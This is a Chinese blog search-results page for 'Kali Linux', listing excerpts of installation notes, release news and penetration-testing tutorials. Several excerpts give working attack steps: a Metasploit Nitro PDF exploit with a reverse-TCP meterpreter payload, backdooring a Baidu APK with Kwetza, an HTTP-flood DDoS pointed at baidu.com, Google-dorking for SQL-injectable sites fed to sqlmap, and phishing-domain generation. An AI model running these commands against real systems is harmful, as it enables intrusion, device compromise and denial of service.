搜索[Kali Linux]结果-低调大师优秀个人博客

精选列表

搜索[Kali Linux]，共10017篇文章

Windows10,CentOS7,CentOS8安装Nodejs环境

复制代码 # 查看当前缓存目录 npm config get cache # 设置新的缓存目录 npm config set cache "D:\DevelopTools\Node\npm-cache" Linux

2025-09-05

Windows10,CentOS7,CentOS8安装MongoDB4.0.16

复制代码 MONGODB_HOME=D:\DevelopTools\mongodb-win32-x86_64-2008plus-ssl-4.0.16 Path+=%MONGODB_HOME%\bin Linux

2025-09-05

Kali Linux中的这些密码恢复工具你会用吗？

Kali Linux 中包含了一些最好的密码恢复工具，每个安全专业人员和渗透测试人员都需要这些工具。我列出了 Kali Linux中提供的用于密码攻击的最佳工具列表。

2026-07-16

Kali Linux 2025.2 发布，改进 UI、GNOME 桌面更新到 v48

Kali Linux 2025.2 于 2025 年 6 月 13 日发布，是 Kali Linux 2025 年的第二个主要版本。

2025-06-20

Kali Linux 2020.3 发布，开始切换 zsh、支持 WSL 中的图形化

自Kali Linux 2020.2发布以来的新功能概览：更新 Shell– 开始从 bash 切换至 zsh 引入Win-Kex(Windows + Kali Desktop EXperience)

2020-08-19

Raspberry PI 4 的 Kali Linux 已发布，支持车载 Wi-Fi 监控模式

Offensive Security已经发布了 Raspberry PI 4 的 Kali Linux。

2019-07-08

kali linux 网络渗透测试学习笔记（三）社会工程学之Java攻击：钓鱼网站制作

一.进入kali linux系统的命令行模式输入代码; ifconfig 查看获得本机IP地址为：192.168.43.227 然后输入代码： setoolkit 出现以下界面：在set后输入

2018-10-22

1.Kali安装到移动硬盘或者U盘中~Linux系通用方法(包括Android)

0.1.保证这个服务必须启动（虚拟机服务最好都启动） 0.2.看看U盘接口类型是否对应 1.安装第一步 2.安装第二步,选择kali镜像 3.设置存放位置（上面的名字无所谓，最后不会用它的，虚拟机只是工具

2017-11-17

OnePlus安装Kali-NetHunter

对于熟悉 Kali Linux 的安全人员来说，很多安全测试会很容易地在图形化控制界面下开展。

2017-11-14

版权声明：转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396573 参考：https://www.youtube.com/watch?v=6U7wLy157cchttps://github.com/googleinurl/SCANNER-INURLBR 一个搜索引擎，用来捕获电子邮件和网址。需要PHP5支持 cd /tmp git clone https://github.com/googleinurl/SCANNER-INURLBR.git inurlbr chmod +x inurlbr.php ./inurlbr.php

2018-02-27

封装定制的Kali Live ISO

打造专属的Kali ISO – 简介封装定制的Kali ISO很简单,很有趣,很有意义.你可以用Debian的live-build脚本对Kali ISO进行全面的配置.这些脚本以一系列配置文件的方式对镜像进行全面的自动定制

2017-11-14

kali下routerploit，对IOT设备探测

dajitui2024/article/details/79396566 参考：https://github.com/reverse-shell/routersploit routerploit部署： #kali

2018-02-27

kali：getsploit在线抓取exploit等内容

版权声明：转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396436 资源：https://github.com/vulnersCom/getsploit Vulners数据库的命令行搜索和下载工具。它允许您在线搜索所有最受欢迎的集合的漏洞利用：Exploit-DB，Metasploit，Packetstorm等。最强大的功能是在您的工作路径中立即开发源代码下载。支持的python版本： python2.6, python2.7, python3.6. 使用案例：搜索： # git clone https://github.com/vulnersCom/getsploit # cd getsploit # ./getsploit.py wordpress 4.7.0 Total found exploits: 8 Web-search URL: https://vulners.com/search?query=bulletinFamily%3Aexploit%20AND%20wordpress%204.7.0 +----------------------+--------------------------------+----------------------------------------------------+ | ID | Exploit Title | URL | +======================+================================+====================================================+ | PACKETSTORM:141039 | WordPress 4.7.0 / 4.7.1 Insert | https://vulners.com/packetstorm/PACKETSTORM:141039 | | | PHP Code Injection | | +----------------------+--------------------------------+----------------------------------------------------+ | EDB-ID:41308 | WordPress 4.7.0/4.7.1 Plugin | https://vulners.com/exploitdb/EDB-ID:41308 | | | Insert PHP - PHP Code | | | | Injection | | +----------------------+--------------------------------+----------------------------------------------------+ | EDB-ID:41223 | WordPress 4.7.0/4.7.1 - | https://vulners.com/exploitdb/EDB-ID:41223 | | | Unauthenticated Content | | | | Injection (PoC) | | +----------------------+--------------------------------+----------------------------------------------------+ | PACKETSTORM:140893 | WordPress 4.7.0 / 4.7.1 REST | https://vulners.com/packetstorm/PACKETSTORM:140893 | | | API Privilege Escalation | | +----------------------+--------------------------------+----------------------------------------------------+ | PACKETSTORM:140902 | WordPress 4.7.0 / 4.7.1 | https://vulners.com/packetstorm/PACKETSTORM:140902 | | | Content Injection / Code | | | | Execution | | +----------------------+--------------------------------+----------------------------------------------------+ | PACKETSTORM:140901 | WordPress 4.7.0 / 4.7.1 | https://vulners.com/packetstorm/PACKETSTORM:140901 | | | Content Injection Proof Of | | | | Concept | | +----------------------+--------------------------------+----------------------------------------------------+ | EDB-ID:41224 | WordPress 4.7.0/4.7.1 - | https://vulners.com/exploitdb/EDB-ID:41224 | | | Unauthenticated Content | | | | Injection Arbitrary Code | | | | Execution | | +----------------------+--------------------------------+----------------------------------------------------+ | SSV-92637 | WordPress REST API content | https://vulners.com/seebug/SSV-92637 | | | injection | | +----------------------+--------------------------------+----------------------------------------------------+ 保存exploit文件： # ./getsploit.py -m wordpress 4.7.0 Total found exploits: 8 Web-search URL: https://vulners.com/search?query=bulletinFamily%3Aexploit%20AND%20wordpress%204.7.0 +----------------------+--------------------------------+----------------------------------------------------+ | ID | Exploit Title | URL | +======================+================================+====================================================+ | PACKETSTORM:141039 | WordPress 4.7.0 / 4.7.1 Insert | https://vulners.com/packetstorm/PACKETSTORM:141039 | | | PHP Code Injection | | +----------------------+--------------------------------+----------------------------------------------------+ | EDB-ID:41308 | WordPress 4.7.0/4.7.1 Plugin | https://vulners.com/exploitdb/EDB-ID:41308 | | | Insert PHP - PHP Code | | | | Injection | | +----------------------+--------------------------------+----------------------------------------------------+ | EDB-ID:41223 | WordPress 4.7.0/4.7.1 - | https://vulners.com/exploitdb/EDB-ID:41223 | | | Unauthenticated Content | | | | Injection (PoC) | | +----------------------+--------------------------------+----------------------------------------------------+ | PACKETSTORM:140893 | WordPress 4.7.0 / 4.7.1 REST | https://vulners.com/packetstorm/PACKETSTORM:140893 | | | API Privilege Escalation | | +----------------------+--------------------------------+----------------------------------------------------+ | PACKETSTORM:140902 | WordPress 4.7.0 / 4.7.1 | https://vulners.com/packetstorm/PACKETSTORM:140902 | | | Content Injection / Code | | | | Execution | | +----------------------+--------------------------------+----------------------------------------------------+ | PACKETSTORM:140901 | WordPress 4.7.0 / 4.7.1 | https://vulners.com/packetstorm/PACKETSTORM:140901 | | | Content Injection Proof Of | | | | Concept | | +----------------------+--------------------------------+----------------------------------------------------+ | EDB-ID:41224 | WordPress 4.7.0/4.7.1 - | https://vulners.com/exploitdb/EDB-ID:41224 | | | Unauthenticated Content | | | | Injection Arbitrary Code | | | | Execution | | +----------------------+--------------------------------+----------------------------------------------------+ | SSV-92637 | WordPress REST API content | https://vulners.com/seebug/SSV-92637 | | | injection | | +----------------------+--------------------------------+----------------------------------------------------+ # ls LICENSE README.md getsploit.py wordpress-470 # cd wordpress-470 # ls edb-id41223.txt edb-id41224.txt edb-id41308.txt packetstorm140893.txt packetstorm140901.txt packetstorm140902.txt packetstorm141039.txt ssv-92637.txt 本地数据库：如果您的Python支持sqlite3 lib（builtin），则可以使用--update和--local命令将整个漏洞利用数据库下载到PC。更新后，您可以执行本地离线搜索。 # ./getsploit.py --update Downloading getsploit database archive. Please wait, it may take time. Usually around 5-10 minutes. 219642496/219642496 [100.00%] Unpacking database. Database download complete. Now you may search exploits using --local key './getsploit.py -l wordpress 4.7'

2018-02-27

kali下WordPress漏洞探测器Plecost

版权声明：转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396591 参考：https://github.com/iniqua/plecosthttps://www.youtube.com/watch?v=s2UGL_8IGQE Plecost是Wordpress博客引擎的漏洞指纹识别和漏洞查找器。工具部署： python3 -m pip install plecost 利用docker直接使用工具： docker run --rm iniqua/plecost {ARGS} {ARGS}特指本工具的任意参数例如： docker run --rm iniqua/plecost -nb -w plugin_list_10.txt http://目标.com txt文件，可以通过 plecost -nb -l 来查看选择安装后使用： plecost http://目标.com plecost -v http://SITE.com -o results.json 扫描结果输出为json后缀保存vun plecost -v http://SITE.com -o results.xml 扫描结果输出为xml格式保存 plecost -f http://目标.com 强制扫描，即使没有探测到wordpress plecost -c 10 http://SITE.com 增加扫描并发量，但是可能导致目标站点关闭访问 plecost -h 查看更多可用的选项和参数 plecost --update-cve 更新漏洞库 plecost --update-plugins 更新插件列表 plecost -nb --show-plugins 查看已有的漏洞插件 plecost -nb -vp google_analytics 查看指定的具体插件的内容 plecost -nb --cve CVE-2014-9174 查看具体CVE的详细信息 https://hackertarget.com/100k-top-wordpress-powered-sites/ 在线的查找一些wordpress站点

2018-02-27

kali:catphish网络钓鱼和企业间谍

版权声明：转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396440 参考：1、https://github.com/ring0lab/catphish2、https://www.youtube.com/watch?v=hkEuXBPrqqo cd /tmp git clone https://github.com/ring0lab/catphish cd catphish gem install simpleidn whois whois-parser ruby catphish.rb -d microsoft.com -m Punycode -a #目标站点随意，-m后面的参数可选（ SingularOrPluralise prependOrAppend doubleExtensions mirrorization homoglyphs dashOmission Punycode）更多姿势，自己尝试解锁。

2018-02-27

kali下Wreckuests | DDOS Atacks With HTTP-Flood

版权声明：转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396503 参考：https://www.youtube.com/watch?v=sklfhTWqar8https://github.com/JamesJGoodwin/wreckuests Wreckuests是一个脚本，它允许您使用HTTP-flood（GET / POST）运行DDoS攻击。它使用纯Python编写，并使用代理服务器作为“机器人”。特别声明，技术无罪，作死自负。依赖关系：Python 3.5+Requests 2.10.0 or higher netaddr tested with 0.7.19 pip3 install netaddr requests cd /tmp git clone https://github.com/JamesJGoodwin/wreckuests cd wreckuests chmod + x install.sh ./install.sh python3 wreckuests.py -v http://www.baidu.com -a <login:pass> -t <timeout> #登录自选，超时自选。如果想图形化展示一下，比如给客户展示一下攻击效果，打开etherAPE（http://www.jianshu.com/p/81f87ad4cf45 ）就好了。总结：看起来真爽，我是说看起来。

2018-02-27

kali下CVE_2017_7442利用实验

版权声明：转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396580 参考：https://www.exploit-db.com/exploits/42418/https://www.youtube.com/watch?v=EhW9GhLF_Ww Nitro Pro PDF Reader 11.0.3.173 Javascript API远程执行代码 msfconsole search nitro_pdf use exploit/windows/fileformat/nitro_pdf_jspapi set payload windows/meterpreter/reverse_tcp set lhost 本机IP set lport 本机端口 set FILENAME test.pdf exploit 将生成的pdf文件cp出来，发给目标机。前提是，目标机安装了https://www.gonitro.com 打开pdf以后，自动获得目标shell

2018-02-27

kali下快捷部署go语言环境笔记

/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396656 参考：http://www.linuxidc.com/Linux

2018-02-27

kali下sqliv:SQL注入URL扫描器

版权声明：转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396604 https://www.youtube.com/watch?v=drRMBTqp1Ughttps://github.com/Hadesy2k/sqliv cd /tmp git clone https://github.com/Hadesy2k/sqliv cd sqliv pip install -r requirements.txt python sqliv.py -d inurl:index.php?id= -e google #用谷歌搜索引擎搜索指定关键词的链接，可以获取一些公网上可以搜到的可被sql注入的问题链接，目前只添加了对谷歌搜索引擎的支持 python sqliv.py -d inurl:article.php?id= -e google sqlmap -u 获取到的url --dbs

2018-02-27

kali下配置conky，实现桌面美化监控系统

tid=1 5 item_titles 2} 效果如图启动工具 root@kali:/opt# cat cokyrun.sh #!/bin/bash /usr/bin/conky &

2018-02-27

kali下CVE-2017-8570利用复现实验

另：apt-get install bleachbit -y 这个软件可以清理Linux电脑的一些缓存

2018-02-27

kali下Kwetza进行安卓APK文件恶意注入

版权声明：转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396584 参考：https://www.youtube.com/watch?v=sP8CtMPAwzYhttps://sensepost.com/blog/2016/kwetza-infecting-android-applications/ cd /tmp git clone https://github.com/sensepost/kwetza cd kwetza python kwetza.py baidu.apk 监听者IP 监听端口 yes #这里选取了百度的apk文件做测试随便输入一个密码得到新生成的apk文件将注入完成的apk文件安装在目标设备也可以本机 xdg-open baidu.apk msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set lhost 监听者IP set lport 监听端口 exploit

2018-02-27

资源下载

更多资源

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长，特征是大鼻子、头戴帽子、身穿背带裤，还留着胡子。与他的双胞胎兄弟路易基一起，长年担任任天堂的招牌角色。

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题，腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构，目前腾讯云软件源站支持公网访问和内网访问。

Spring

Spring框架（Spring Framework）是由Rod Johnson于2002年提出的开源Java企业级应用框架，旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念，提供核心容器、应用上下文、数据访问集成等模块，支持整合Hibernate、Struts等第三方框架，其适用范围不仅限于服务器端开发，绝大多数Java应用均可从中受益。

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能，例如代码缩略图，Python的插件，代码段等。还可自定义键绑定，菜单和工具栏。Sublime Text 的主要功能包括：拼写检查，书签，完整的 Python API ， Goto 功能，即时项目切换，多选择，多窗口等等。Sublime Text 是一个跨平台的编辑器，同时支持Windows、Linux、Mac OS X等操作系统。

精选列表

Windows10,CentOS7,CentOS8安装Nodejs环境

Windows10,CentOS7,CentOS8安装MongoDB4.0.16

Kali Linux中的这些密码恢复工具你会用吗？

Kali Linux 2025.2 发布，改进 UI、GNOME 桌面更新到 v48

Kali Linux 2020.3 发布，开始切换 zsh、支持 WSL 中的图形化

Raspberry PI 4 的 Kali Linux 已发布，支持车载 Wi-Fi 监控模式

kali linux 网络渗透测试学习笔记（三）社会工程学之Java攻击：钓鱼网站制作

1.Kali安装到移动硬盘或者U盘中~Linux系通用方法(包括Android)

OnePlus安装Kali-NetHunter

kali下SCANNER-INURLBR工具

封装定制的Kali Live ISO

kali下routerploit，对IOT设备探测

kali：getsploit在线抓取exploit等内容

kali下WordPress漏洞探测器Plecost

kali:catphish网络钓鱼和企业间谍

kali下Wreckuests | DDOS Atacks With HTTP-Flood

kali下CVE_2017_7442利用实验

kali下快捷部署go语言环境笔记

kali下sqliv:SQL注入URL扫描器

kali下配置conky，实现桌面美化监控系统

kali下CVE-2017-8570利用复现实验

kali下Kwetza进行安卓APK文件恶意注入

资源下载

Mario

腾讯云软件源

Spring

Sublime Text

欢迎您来访！

精选列表

Windows10,CentOS7,CentOS8安装Nodejs环境

Windows10,CentOS7,CentOS8安装MongoDB4.0.16

Kali Linux中的这些密码恢复工具 你会用吗？

Kali Linux 2025.2 发布，改进 UI、GNOME 桌面更新到 v48

Kali Linux 2020.3 发布，开始切换 zsh、支持 WSL 中的图形化

Raspberry PI 4 的 Kali Linux 已发布，支持车载 Wi-Fi 监控模式

kali linux 网络渗透测试学习笔记（三）社会工程学之Java攻击：钓鱼网站制作

1.Kali安装到移动硬盘或者U盘中~Linux系通用方法(包括Android)

OnePlus安装Kali-NetHunter

kali下SCANNER-INURLBR工具

封装定制的Kali Live ISO

kali下routerploit，对IOT设备探测

kali：getsploit在线抓取exploit等内容

kali下WordPress漏洞探测器Plecost

kali:catphish网络钓鱼和企业间谍

kali下Wreckuests | DDOS Atacks With HTTP-Flood

kali下CVE_2017_7442利用实验

kali下快捷部署go语言环境笔记

kali下sqliv:SQL注入URL扫描器

kali下配置conky，实现桌面美化监控系统

kali下CVE-2017-8570利用复现实验

kali下Kwetza进行安卓APK文件恶意注入

资源下载

Mario

腾讯云软件源

Spring

Sublime Text

欢迎您来访！

Kali Linux中的这些密码恢复工具你会用吗？